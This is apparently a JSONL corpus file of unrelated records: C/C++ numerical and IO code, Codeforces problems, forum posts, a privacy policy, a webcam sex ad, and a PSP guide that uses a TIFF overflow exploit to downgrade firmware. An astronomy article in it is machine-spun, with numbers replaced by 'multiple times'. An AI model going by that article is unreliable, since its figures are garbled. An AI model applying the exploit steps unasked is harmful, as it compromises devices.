{"text": "/*\n *  Copyright 2014-2015 The University of Queensland\n *  http://www.uq.edu.au\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n */\n\n#pragma once\n\n#include <thrust/functional.h>\n#include <cusp/detail/functional.h>\n\n#ifndef DIA_CHUNKSIZE\n#define DIA_CHUNKSIZE 1024\n#endif\n\nnamespace cusp\n{\nnamespace detail\n{\nnamespace host\n{\n\n/////////////////////////\n// DIA transposed SpMV //\n/////////////////////////\ntemplate <typename Matrix,\n          typename Vector1,\n          typename Vector2,\n          typename UnaryFunction,\n          typename BinaryFunction1,\n          typename BinaryFunction2>\nvoid transposed_spmv_dia(const Matrix&  A,\n                         const Vector1& x,\n                               Vector2& y,\n                         UnaryFunction   initialize,\n                         BinaryFunction1 combine,\n                         BinaryFunction2 reduce)\n{\n    typedef typename Matrix::index_type  IndexType;\n    //typedef typename Vector2::value_type ValueType;\n\n    const size_t num_diagonals = A.values.num_cols;\n\n#pragma omp parallel for\n    for (size_t ch = 0; ch < A.num_cols; ch += DIA_CHUNKSIZE) {\n        // initialize chunk\n        for (size_t row = ch; row < std::min(ch+DIA_CHUNKSIZE,A.num_cols); row++)\n        {\n            y[row] = initialize(y[row]);\n        }\n        // for each diagonal\n        for (size_t d = 0; d < num_diagonals; d++)\n        {\n            for (IndexType row=ch; row<std::min(ch+DIA_CHUNKSIZE,A.num_cols); row++)\n            {\n                const IndexType col = row - A.diagonal_offsets[d];\n                if (col >= 0 && col < A.num_rows)\n                {\n                    y[row] = reduce(y[row], combine(A.values(col, d), x[col]));\n                }\n            }\n        }\n    }\n}\n\ntemplate <typename Matrix,\n          typename Vector1,\n          typename Vector2>\nvoid transposed_spmv_dia(const Matrix&  A,\n                         const Vector1& x,\n                               Vector2& y)\n{\n    typedef typename Vector2::value_type ValueType;\n\n    transposed_spmv_dia(A, x, y,\n             cusp::detail::zero_function<ValueType>(),\n             thrust::multiplies<ValueType>(),\n             thrust::plus<ValueType>());\n}\n\ntemplate <typename Matrix,\n          typename Vector1,\n          typename Vector2,\n          typename UnaryFunction,\n          typename BinaryFunction1,\n          typename BinaryFunction2>\nvoid transposed_spmv_cds(const Matrix&  A,\n                         const Vector1& x,\n                               Vector2& y,\n                         UnaryFunction   initialize,\n                         BinaryFunction1 combine,\n                         BinaryFunction2 reduce)\n{\n    typedef typename Matrix::index_type  IndexType;\n    typedef typename Vector2::value_type ValueType;\n\n    const IndexType num_diagonals = A.diagonal_offsets.size();\n    const IndexType block_size = (IndexType)A.block_size;\n    const IndexType num_cols = (IndexType)A.num_cols;\n    // make chunksize a multiple of block_size\n    const IndexType chunksize = block_size*(DIA_CHUNKSIZE/block_size);\n\n    // optimisation for special case\n    if (block_size == 2) {\n#pragma omp parallel for\n        for (IndexType ch = 0; ch < num_cols; ch += chunksize) {\n            for (IndexType row = ch; row < std::min(ch+chunksize,num_cols); row+=2)\n            {\n                ValueType sum1 = initialize(y[row]);\n                ValueType sum2 = initialize(y[row+1]);\n                // for each diagonal block\n                for (IndexType d = 0; d < num_diagonals; d++)\n                {\n                    const IndexType col = row - A.diagonal_offsets[d]*2;\n                    if (col >= 0 && col < A.num_rows)\n                    {\n                        sum1 = reduce(sum1, combine(A.values(col,   2*d),  x[col]));\n                        sum2 = reduce(sum2, combine(A.values(col,   2*d+1),x[col]));\n                        sum1 = reduce(sum1, combine(A.values(col+1, 2*d),  x[col+1]));\n                        sum2 = reduce(sum2, combine(A.values(col+1, 2*d+1),x[col+1]));\n                    }\n                }\n                y[row] = sum1;\n                y[row+1] = sum2;\n            }\n        }\n    } else { // block_size!=2\n#pragma omp parallel for\n        for (IndexType ch = 0; ch < num_cols; ch += chunksize) {\n            for (IndexType row = ch; row < std::min(ch+chunksize,num_cols); row++)\n            {\n                y[row] = initialize(y[row]);\n\n                // for each diagonal block\n                for (IndexType d = 0; d < num_diagonals; d++)\n                {\n                    const IndexType k = A.diagonal_offsets[d]*block_size;\n                    const IndexType col = block_size*(row/block_size) - k;\n                    if (col >= 0 && col <= A.num_rows-block_size)\n                    {\n                        // for each column in block\n                        for (IndexType i = 0; i < block_size; i++)\n                        {\n                            const ValueType& Aij = A.values(col+i, d*block_size+row%block_size);\n                            const ValueType& xj = x[col + i];\n                            y[row] = reduce(y[row], combine(Aij, xj));\n                        }\n                    }\n                } // diagonals\n            } // rows\n        } // chunks\n    } // block_size\n}\n\ntemplate <typename Matrix,\n          typename Vector1,\n          typename Vector2>\nvoid transposed_spmv_cds(const Matrix&  A,\n                         const Vector1& x,\n                               Vector2& y)\n{\n    typedef typename Vector2::value_type ValueType;\n\n    if (A.block_size == 1) {\n        transposed_spmv_dia(A, x, y,\n                 cusp::detail::zero_function<ValueType>(),\n                 thrust::multiplies<ValueType>(),\n                 thrust::plus<ValueType>());\n    } else {\n        transposed_spmv_cds(A, x, y,\n                  cusp::detail::zero_function<ValueType>(),\n                  thrust::multiplies<ValueType>(),\n                  thrust::plus<ValueType>());\n    }\n}\n\n} // end namespace host\n} // end namespace detail\n} // end namespace cusp", "source": "cpt_stack_code", "language": "code", "token_count": 1624, "token_count_with_eod": 1625, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I'm getting this error when I try to upgrade Flash Player for Firefox and IE:\nOnly a single instance of this application can run..\nAny idea how to update Flash player then?\nI think this problem is somewhat recent. I had a similar issue. My solution was:\nIt's a bit annoying because between steps 1 and 2 you need to reboot. But it worked for me.\nThe upgrade for Flash player for IE and Firefox is two different programs. For IE, it is an ActiveX control, for Firefox (and the other browsers), it is a plugin. It looks like you were somehow running both simultaneously.\nGo to this site with BOTH browsers and check your plugins:\nhttp://www.mozilla.com/en-US/plugincheck/ (it says Mozilla, think Firefox, but works for any browser)\nI suspect you may have actually already updated one (the first one that was running), and that only the second failed. Any plugins not updated will be reported to you, and will link you to the download. I might also suggest that you reboot and try this. Do one browser at a time. Give this a try, and if you actually have more serious problems, post back.\nI have been fighting this problem for over a week now. Just figured things out today. I had installed Microsoft Silverlight a bit ago. I think that is the \"other instance\" that the computer was trying to tell me was interfering with installing Adobe Flash. I think it is a version of Flash Player. I uninstalled it and then installed the 64 bit version of Adobe Flash for other browsers (other than Iinternet Explorer). The Flash player now works with Safari and Firefox. There was a suggestion to download Google Chrome since it has an integrated Flash player and I did that. It worked great from the start, but I still wanted to use my other browsers. There was a version of Flash Player just for Internet Explorer, but I did not install that since I am uncertain whether or not I am going to use Explorer going forward. It has been acting up. I really hopes this helps some of the rest of you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 434, "token_count_with_eod": 435, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Leave a review\nManage and document software development.\nAdded on May 17\nPaid plans start from $10/mo\nDocumentationLab is an AI-powered software documentation tool designed to simplify and streamline the documentation process for developers.\n• Simplify and streamline the software documentation process for development teams.\n• Enhance documentation management by linking documentation to code files for automatic updates.\n• Improve user experience by providing accurate and relevant answers through AI-powered search.\nExperience the convenience and efficiency of DocumentationLab, an AI-powered software documentation tool designed to simplify the documentation process for developers and streamline team workflows.\nWhat do you think about DocumentationLab ?\nLeave a review for the community\nThis tool does not have any reviews yet. Be the first to review it.\nImproves team knowledge sharing with fast Q&A solution.\nBuild beautiful, easy-to-maintain docs optimized for user engagement.\nOpen-source AI-powered search engine for your documentation\nAI-powered programming assistant for JetBrains IDEs!\nTeam collaboration chat.\nAI-powered code generation tool for unit tests, refactoring, and documentation\nCopyright © 2023 - Futurepedia™", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 235, "token_count_with_eod": 236, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <stdio.h>\n#include <stdlib.h>\n#include \"NetCDFReader.h\"\n\ntypedef union ecldouble\n{\n    double value;\n    unsigned long lvalue;\n    unsigned char byte[8];\n} ecldouble;\n\ntypedef union eclfloat\n{\n    float value;\n    unsigned int ivalue;\n    unsigned char byte[4];\n} eclfloat;\n\nvoid writeByteData(unsigned char *bytes, size_t byteLength, const char *tgtFilePath)\n{\n\tFILE *pFile = fopen(tgtFilePath, \"wb\");\n    if (pFile == NULL)\n    {\n        printf(\"Failed to open input file. 3\\n\");\n\t\texit(0);\n    }\n    \n    fwrite(bytes, 1, byteLength, pFile); //write outSize bytes\n    fclose(pFile);\n}\n\n\nvoid writeFloatData_inBytes(float *data, size_t nbEle, const char* tgtFilePath)\n{\n\tsize_t i = 0;\n\teclfloat buf;\n\tunsigned char* bytes = (unsigned char*)malloc(nbEle*sizeof(float));\n\tfor(i=0;i<nbEle;i++)\n\t{\n\t\tbuf.value = data[i];\n\t\tbytes[i*4+0] = buf.byte[0];\n\t\tbytes[i*4+1] = buf.byte[1];\n\t\tbytes[i*4+2] = buf.byte[2];\n\t\tbytes[i*4+3] = buf.byte[3];\t\t\t\t\t\n\t}\n\n\tsize_t byteLength = nbEle*sizeof(float);\n\twriteByteData(bytes, byteLength, tgtFilePath);\n\tfree(bytes);\n}\n\nvoid writeDoubleData_inBytes(double *data, size_t nbEle, const char* tgtFilePath)\n{\n\tsize_t i = 0, index = 0;\n\tecldouble buf;\n\tunsigned char* bytes = (unsigned char*)malloc(nbEle*sizeof(double));\n\tfor(i=0;i<nbEle;i++)\n\t{\n\t\tindex = i*8;\n\t\tbuf.value = data[i];\n\t\tbytes[index+0] = buf.byte[0];\n\t\tbytes[index+1] = buf.byte[1];\n\t\tbytes[index+2] = buf.byte[2];\n\t\tbytes[index+3] = buf.byte[3];\n\t\tbytes[index+4] = buf.byte[4];\n\t\tbytes[index+5] = buf.byte[5];\n\t\tbytes[index+6] = buf.byte[6];\n\t\tbytes[index+7] = buf.byte[7];\n\t}\n\n\tsize_t byteLength = nbEle*sizeof(double);\n\twriteByteData(bytes, byteLength, tgtFilePath);\n\tfree(bytes);\n}\n\nvoid usage()\n{\n\tprintf(\"Options:\\n\");\n\tprintf(\"* data type:\\n\");\n\tprintf(\"\t-f: single precision (float type)\\n\");\n\tprintf(\"\t-d: double precision (double type)\\n\");\n\tprintf(\"* input data file:\\n\");\n\tprintf(\"\t-i <NetCDF data file> : NetCDF data file\\n\");\n\tprintf(\"\t-n <dataset path> : dataset path in NetCDF file\\n\");\n\tprintf(\"* output data file:\\n\");\n\tprintf(\"\t-o <output file path>: output file path\\n\");\n\tprintf(\"* dimensions: \\n\");\n\tprintf(\"\t-1 <nx> : dimension for 1D data such as data[nx]\\n\");\n\tprintf(\"\t-2 <nx> <ny> : dimensions for 2D data such as data[ny][nx]\\n\");\n\tprintf(\"\t-3 <nx> <ny> <nz> : dimensions for 3D data such as data[nz][ny][nx] \\n\");\n\tprintf(\"\t-4 <nx> <ny> <nz> <np>: dimensions for 4D data such as data[np][nz][ny][nx] \\n\");\n\tprintf(\"* examples: \\n\");\n\tprintf(\"\textractNetCDFData -f -i testdata/testdata.nc -n data -2 6 12 -o test.dat\\n\");\n\texit(0);\n}\n\nint main(int argc, char* argv[])\n{\n\tint dataType;\n\tchar* inPath = NULL;\n\tchar *dataset = NULL;\n\tchar* outPath = NULL;\n\n\tsize_t i = 0;\n\tsize_t nbEle;\n\n\tsize_t r5 = 0;\n\tsize_t r4 = 0;\n\tsize_t r3 = 0;\n\tsize_t r2 = 0; \n\tsize_t r1 = 0;\n\n\tif(argc==1)\n\t  usage();\n\n\tfor(i=1;i<argc;i++)\n\t{\n\t\tif (argv[i][0] != '-' || argv[i][2])\n\t\t  usage();\n\t\tswitch (argv[i][1])\n\t\t{\n\t\t\tcase 'f': \n\t\t\t\tdataType = 0;\n\t\t\t\tbreak;\n\t\t\tcase 'd':\n\t\t\t\tdataType = 1;\n\t\t\t\tbreak;\n\t\t\tcase 'i':\n\t\t\t\tif (++i == argc)\n\t\t\t\t  usage();\n\t\t\t\tinPath = argv[i];\t\t\n\t\t\t\tbreak;\n\t\t\tcase '1': \n\t\t\t\tif (++i == argc || sscanf(argv[i], \"%zu\", &r1) != 1)\n\t\t\t\t  usage();\n\t\t\t\tbreak;\n\t\t\tcase '2':\n\t\t\t\tif (++i == argc || sscanf(argv[i], \"%zu\", &r1) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r2) != 1)\n\t\t\t\t  usage();\n\t\t\t\tbreak;\n\t\t\tcase '3':\n\t\t\t\tif (++i == argc || sscanf(argv[i], \"%zu\", &r1) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r2) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r3) != 1)\n\t\t\t\t  usage();\t\t\n\t\t\t\tbreak;\n\t\t\tcase '4':\n\t\t\t\tif (++i == argc || sscanf(argv[i], \"%zu\", &r1) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r2) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r3) != 1 ||\n\t\t\t\t\t\t\t++i == argc || sscanf(argv[i], \"%zu\", &r4) != 1)\n\t\t\t\t  usage();\t\t\n\t\t\t\tbreak;\n\t\t\tcase 'n':\n\t\t\t\tif (++i == argc)\n\t\t\t\t  usage();\n\t\t\t\tdataset = argv[i];\n\t\t\t\tbreak;\n\t\t\tcase 'o':\n\t\t\t\tif (++i == argc)\n\t\t\t\t  usage();\n\t\t\t\toutPath = argv[i];\n\t\t\t\tbreak;\n\t\t\tdefault: \n\t\t\t\tusage();\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tif ((r1==0) && (r2==0) && (r3==0) && (r4==0) && (r5==0))\n\t{\n\t\tprintf (\"Error: please specify dimensions.\\n\");\n\t\tprintf(\"-1 <nx> : dimension for 1D data such as data[nx]\\n\");\n\t\tprintf(\"-2 <nx> <ny> : dimensions for 2D data such as data[ny][nx]\\n\");\n\t\tprintf(\"-3 <nx> <ny> <nz> : dimensions for 3D data such as data[nz][ny][nx] \\n\");\n\t\tprintf(\"-4 <nx> <ny> <nz> <np>: dimensions for 4D data such as data[np][nz][ny][nx] \\n\");\n\t\texit(0);\n\t}\n\n\tif(r2==0)\n\t  nbEle = r1;\n\telse if(r3==0)\n\t  nbEle = r1*r2;\n\telse if(r4==0)\n\t  nbEle = r1*r2*r3;\n\telse if(r5==0)\n\t  nbEle = r1*r2*r3*r4;\n\telse\n\t  nbEle = r1*r2*r3*r4*r5;\n\n\tif (dataType == 0)\n\t{\n\t\tfloat *data = (float*)malloc(nbEle*sizeof(float));\n\t\tnetcdfReader((void*)data, inPath, dataset, dataType);\n\n\t\tfor (i = 0; i < 10; i++)\n\t\t  printf (\"%f\\n\", ((float*)data)[i]);\n\t\t  \n\t\t writeFloatData_inBytes(data, nbEle, outPath); \n\t}\n\telse\n\tif (dataType == 1)\n\t{\n\t  double *data = (double*)malloc(nbEle*sizeof(double));\n\t  netcdfReader((void*)data, inPath, dataset, dataType);\n\n\t  for (i = 0; i < 10; i++)\n\t\tprintf (\"%lf\\n\", ((double*)data)[i]);\n\t\t\n\t  writeDoubleData_inBytes(data, nbEle, outPath); \n\t}\n\tprintf(\"output data file: %s\\n\", outPath);\n\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1947, "token_count_with_eod": 1948, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given a permutation $$$a_1,a_2,\\ldots,a_n$$$ of the first $$$n$$$ positive integers. A subarray $$$[l,r]$$$ is called copium if we can rearrange it so that it becomes a sequence of consecutive integers, or more formally, if $$$$$$\\max(a_l,a_{l+1},\\ldots,a_r)-\\min(a_l,a_{l+1},\\ldots,a_r)=r-l$$$$$$ For each $$$k$$$ in the range $$$[0,n]$$$, print out the maximum number of copium subarrays of $$$a$$$ over all ways of rearranging the last $$$n-k$$$ elements of $$$a$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 146, "token_count_with_eod": 147, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "It is never too late to play the fancy \"Binary Cards\" game!\n\nThere is an infinite amount of cards of positive and negative ranks that are used in the game. The absolute value of any card rank is a power of two, i.e. each card has a rank of either 2k or  - 2k for some integer k ≥ 0. There is an infinite amount of cards of any valid rank.\n\nAt the beginning of the game player forms his deck that is some multiset (possibly empty) of cards. It is allowed to pick any number of cards of any rank but the small deck is considered to be a skill indicator. Game consists of n rounds. In the i-th round jury tells the player an integer ai. After that the player is obligated to draw such a subset of his deck that the sum of ranks of the chosen cards is equal to ai (it is allowed to not draw any cards, in which case the sum is considered to be equal to zero). If player fails to do so, he loses and the game is over. Otherwise, player takes back all of his cards into his deck and the game proceeds to the next round. Player is considered a winner if he is able to draw the suitable set of cards in each of the rounds.\n\nSomebody told you which numbers ai the jury is going to tell you in each round. Now you want to pick a deck consisting of the minimum number of cards that allows you to win the \"Binary Cards\" game.", "source": "cpt_codeforces", "language": "en", "token_count": 306, "token_count_with_eod": 307, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Confirmed to work!! Please download in the File section of PSPUpdates or the following uploaded files.Welcome to 1.50, PSP firmware 2.0 users! MPH has created a WORKING downgrader from PSP firmware 2.0 to firmware 1.50. This takes advantage of the toc2rta exploit and allows for the full downgrade of firmware 2.0 to firmware 1.50. I have tried this myself and have successfully downgraded.\nAlthough this has been tried and found working, this does not mean there is no risk involved so use at your own risk.\nSteps to use the MPH downgrader:\n- Create an UPDATE folder in PSP/GAME/ folder of your memory stick\n- Copy EBOOT.PBP (update 1.50) in /PSP/GAME/UPDATE folder\n- Unpack MPHDowngrader.zip\n- Copy overflow.tif in your PSP/PHOTO/ folder of your memory stick\n(make sure you have changed your background to frame_buffer.png as explained in the toc2rta exploit.)\n- Copy h.bin in root of your memory stick\n- Copy index.dat in root of your memory stick\n- Plug the AC adaptor\nWhat you do next is go into the Photo Menu on the PSP and it will show some jumbled text, which is normal. Wait about 30 seconds and then restart your PSP.\nFrom there you will now have a new file in your PSP’s root directory called ms0:/index.dat.bak. In the next step you will go to you Game Menu, Then Memory Stick, and then Launch “PSP Update ver 1.50.”\nIt will then ask you to downgrade and lead you along to installing. Here is where I got scared. It installed to 99% then errored. This is OK. Restart your PSP and reboot it. It will come up with another error which is OK as well. Restart it again and you will have PSP firmware version 1.50. Enjoy, and welcome to the world of legal homebrew, not piracy.\nYou can get the MPH Downgrader in our PSP Download section [here] .\nYou can get the 1.50 Update Eboot in our PSP Download section [here] .", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have an array of audio data I am passing to a reader:\nThe instantiation is as follows:\nAudioRecord recorder; short audioData; int bufferSize; int samplerate = 8000; //get the buffer size to use with this audio record bufferSize = AudioRecord.getMinBufferSize(samplerate, AudioFormat.CHANNEL_CONFIGURATION_MONO, AudioFormat.ENCODING_PCM_16BIT)*3; //instantiate the AudioRecorder recorder = new AudioRecord(AudioSource.MIC,samplerate, AudioFormat.CHANNEL_CONFIGURATION_MONO, AudioFormat.ENCODING_PCM_16BIT,bufferSize); recording = true; //variable to use start or stop recording audioData = new short [bufferSize]; //short array that pcm data is put into.\nI have a FFT class I have found online and a complex class to go with it.\nI have tried for two days looking online everywhere but cant work out how to loop through the values stored in\naudioData and pass it to the FFT.\nThis is the FFT class I am using: http://www.cs.princeton.edu/introcs/97data/FFT.java and this is the complex class to go with it: http://introcs.cs.princeton.edu/java/97data/Complex.java.html", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 265, "token_count_with_eod": 266, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bertown is under siege! The attackers have blocked all the ways out and their cannon is bombarding the city. Fortunately, Berland intelligence managed to intercept the enemies' shooting plan. Let's introduce the Cartesian system of coordinates, the origin of which coincides with the cannon's position, the Ox axis is directed rightwards in the city's direction, the Oy axis is directed upwards (to the sky). The cannon will make n more shots. The cannon balls' initial speeds are the same in all the shots and are equal to V, so that every shot is characterized by only one number alphai which represents the angle at which the cannon fires. Due to the cannon's technical peculiarities this angle does not exceed 45 angles (π / 4). We disregard the cannon sizes and consider the firing made from the point (0, 0).\n\nThe balls fly according to the known physical laws of a body thrown towards the horizon at an angle:\n\nvx(t) = V·cos(alpha)\n\nvy(t) = V·sin(alpha)  –  g·t\n\nx(t) = V·cos(alpha)·t\n\ny(t) = V·sin(alpha)·t  –  g·t2 / 2\n\nThink of the acceleration of gravity g as equal to 9.8.\n\nBertown defends m walls. The i-th wall is represented as a vertical segment (xi, 0) - (xi, yi). When a ball hits a wall, it gets stuck in it and doesn't fly on. If a ball doesn't hit any wall it falls on the ground (y = 0) and stops. If the ball exactly hits the point (xi, yi), it is considered stuck.\n\nYour task is to find for each ball the coordinates of the point where it will be located in the end.", "source": "cpt_codeforces", "language": "en", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/* This file has been autogenerated by Ivory\n * Compiler version  0.1.0.5\n */\n#ifndef __INPUT_TB_SERVER2SELF_DEQUEUE_MONITOR_H__\n#define __INPUT_TB_SERVER2SELF_DEQUEUE_MONITOR_H__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include \"ivory.h\"\n#include \"smaccm_can_module.h\"\n#include \"ivory_serialize.h\"\n#include \"canDriverTypes.h\"\n#include \"fragment_drop_monitor.h\"\nvoid callback_input_tb_server2self_dequeue_handler(const uint8_t n_var0[80U]);\n\n#ifdef __cplusplus\n}\n#endif\n#endif /* __INPUT_TB_SERVER2SELF_DEQUEUE_MONITOR_H__ */", "source": "cpt_stack_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "It seems strange to me that with so many sufferers there is no decent forum for hypertensives. Those that are active seem frequented by advertisers and weirdo’s! I was hoping that this area might become one but it seems a bit quiet. a shame as to my mind the my blood pressure s/ware could legitimately be described as ‘best of breed’!\nDoes anyone know of a good forum? Or can we try harder to make this the centre of all things hypertensive!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 99, "token_count_with_eod": 100, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Puzzles4Family es una colección de juegos de puzzles para iPhone e iPad. Estos puzzles son para toda la familia, tanto para niños como para adultos, hombres y mujeres. Los disfrutarás mientras esperas al autobús, viajas en metro o ves la televisión.\nPuzzles4family (\"us\", \"we\", or \"our\") operates the Puzzles4family mobile application (the \"Service\").\nWe do not collect any data from you.\nPuzzles4family does not collect data for any purposes\nWe do not transfer any data.\nPuzzles4family do not disclose your Personal Data.\nThe security of your data is important to us, but remember that no method of transmission over the Internet, or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Data, we cannot guarantee its absolute security.\nWe have no control over and assume no responsibility for the content, privacy policies or practices of any third party sites or services.\nOur Service does not address anyone under the age of 18 (\"Children\").\nWe do not knowingly collect personally identifiable information from anyone under the age of 18. If you are a parent or guardian and you are aware that your Children has provided us with Personal Data, please contact us. If we become aware that we have collected Personal Data from children without verification of parental consent, we take steps to remove that information from our servers.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 299, "token_count_with_eod": 300, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'd be lying if I were to suggest the slightest hint of positive experience in the time I spent logged into Realms of Despair.\nI went through their creation process, as limited as it is, and got into the thick of things. You'd think with the couple of hundred players logged on, someone'd be willing to answer a question or in some way communicate with a new player. Attempts both in character and out of character to initiate communications were ignored. And as for the game itself, for as much as I was able to see in the hour or so I spent bumping around on the 'number 1' mud on this site.... I cannot pose so much as a single reason they sit in the number 1 spot. This mud is truley among the more mindless game I've ever logged into.\nAnd this is coming from someone who used to work, writing reviews for various muds for another site. Big-time thumbs down.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Researchers have interestingly found the hottest planet-hosting star system and caught a picture of a planet orbiting b Centauri, a binary star noticeable with the unaided eye. Situated at multiple times the distance between the Sun and Jupiter, the star system goes against the prevalent view that planets couldn’t exist around stars this gigantic and this warm — as of recently.\n“Getting to see a planet around b Centauri was extremely invigorating since it totally changes the image about gigantic stars hosting planets,” clarifies Markus Janson, a cosmologist at Stockholm University, Sweden. Found 325 light-years away in the Centaurus heavenly body, space experts have identified a monster planet in orbit around a youthful monstrous binary star called b Centauri. Researchers said that the b Centauri binary star is only 15 million years of age and has something like multiple times the mass of the Sun. This property makes it by a wide margin the most enormous heavenly system around which cosmologists have tracked down a planet. Its essential star is a purported B-type star that is north of three times more blazing than the Sun.\nBecause of its high temperature, it produces a lot of UV and X-beam radiation. Up to this point, past examinations had neglected to distinguish any such item around a star multiple occasions as gigantic as the Sun. “B-type stars are by and large viewed as very damaging and hazardous environments. It was accepted that it ought to be incredibly hard to shape enormous planets around them,” Janson clarifies. “We have consistently had an extremely nearby planet group driven perspective on what planetary systems ‘should’ resemble,” MPIA researcher and co-author Matthias Samland calls attention to.\n“In the course of the most recent ten years, the revelation of numerous planetary systems in amazing and novel designs has caused us to extend our generally limited view. This revelation adds one more thrilling section involved, this time for monstrous stars,” he said in an assertion delivered by the Max Planck Institute for Astronomy. Researchers said that the planet, b Centauri (AB)b or b Centauri b is an outsider world encountering conditions totally unique in relation to what we face in our planetary group. t is multiple times more huge than Jupiter, making it quite possibly the most gigantic planet at any point found.\nBesides, it spins around the binary star at an amazing multiple times more prominent distance than Jupiter does from the Sun, perhaps the vastest orbit found at this point. The exceptional system was identified by a Spectro-Polarimetric High-contrast Exoplanet Research instrument (SPHERE) mounted on the Very Large Telescope (VLT) at the European Southern Observatory (ESO) in Chile. The group investigated past information on b Centauri and found that the planet had really been imaged over 20 years prior by the ESO 3.6-meter telescope, in spite of the fact that it was not perceived as a planet at that point.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 602, "token_count_with_eod": 603, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ValeriaSalvatore (22 Y/O female) XXX hot live cam sex show - Chat and webcam sex with ValeriaSalvatore\nYeah I know I look like an angel but are you sure I am? Well, you'll find out. Nice to meet you, you can call me Vale, it will be a pleasure to meet you and make you happier. I'm online monday to saturday (7am - 5pm GTM 5).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/// \\file\n/// \\brief Internal header file that describes the utility functions for Windows\n/// IO.\n/// \\author Lyberta\n/// \\copyright BSLv1.\n\n#pragma once\n\n#include <ios>\n#include <span>\n#include <filesystem>\n\n#include \"../position.h\"\n#include \"../file_options.h\"\n\n#include <windows.h>\n\n#include \"Platform.h\"\n\nnamespace std::io::Windows\n{\n\nusing NativeHandle = HANDLE; ///< Native Windows file handle.\n\n/// \\brief Invalid Windows file handle.\nconst NativeHandle InvalidNativeHandle = INVALID_HANDLE_VALUE;\n\n/// \\brief Opens or creates a file and returns the handle to it.\n/// \\param[in] file_name Name of the file to open.\n/// \\param[in] m TODO\n/// \\param[in] c TODO\n/// \\return Handle to the file.\n/// \\throw TODO\nNativeHandle OpenFile(const filesystem::path& file_name, mode m, creation c);\n\n/// \\brief Closes the file handle if it is valid.\n/// \\param[in] handle File handle to close.\nvoid CloseFile(NativeHandle handle) noexcept;\n\n/// \\brief Returns current position in the file.\n/// \\param[in] handle Native handle to inspect.\n/// \\return Current position in the file.\n/// \\throw TODO\nposition GetPosition(NativeHandle handle);\n\n/// \\brief Sets the position in the file to the given one.\n/// \\param[in] handle Native handle to work with.\n/// \\param[in] pos Position to set.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nvoid SeekPosition(NativeHandle handle, position pos);\n\n/// \\brief Sets the position in the file to the given offset relative to the\n/// current position in the file.\n/// \\param[in] handle Native handle to work with.\n/// \\param[in] off Offset to seek by.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nvoid SeekPosition(NativeHandle handle, offset off);\n\n/// \\brief Sets the position in the file to the given base position.\n/// \\param[in] handle Native handle to work with.\n/// \\param[in] base Base position to set.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nvoid SeekPosition(NativeHandle handle, base_position base);\n\n/// \\brief Sets the position in the file specified by the given base position\n/// and offset.\n/// \\param[in] handle Native handle to work with.\n/// \\param[in] base Base position to use for seeking.\n/// \\param[in] off Offset to apply to the given base position.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nvoid SeekPosition(NativeHandle handle, base_position base, offset off);\n\n/// \\brief Reads zero or more bytes from the file to the given buffer and\n/// advances file position by the amount of bytes read.\n/// \\param\n/// \\param[in,out] buffer Buffer to write to.\n/// \\return Amount of bytes read.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nstreamsize ReadSome(NativeHandle handle, span<byte> buffer);\n\n/// \\brief Writes zero or more bytes to the file from the given buffer and\n/// advances file position by the amount of bytes written.\n/// \\param[in] buffer Buffer to read from.\n/// \\return Amount of bytes written.\n/// \\throw std::io::io_error In case of documented error.\n/// \\throw std::system_error In case of undocumented error.\nstreamsize WriteSome(NativeHandle handle, span<const byte> buffer);\n\n/// \\brief Returns the optimal buffer size for the given native handle.\n/// \\param[in] handle Handle to 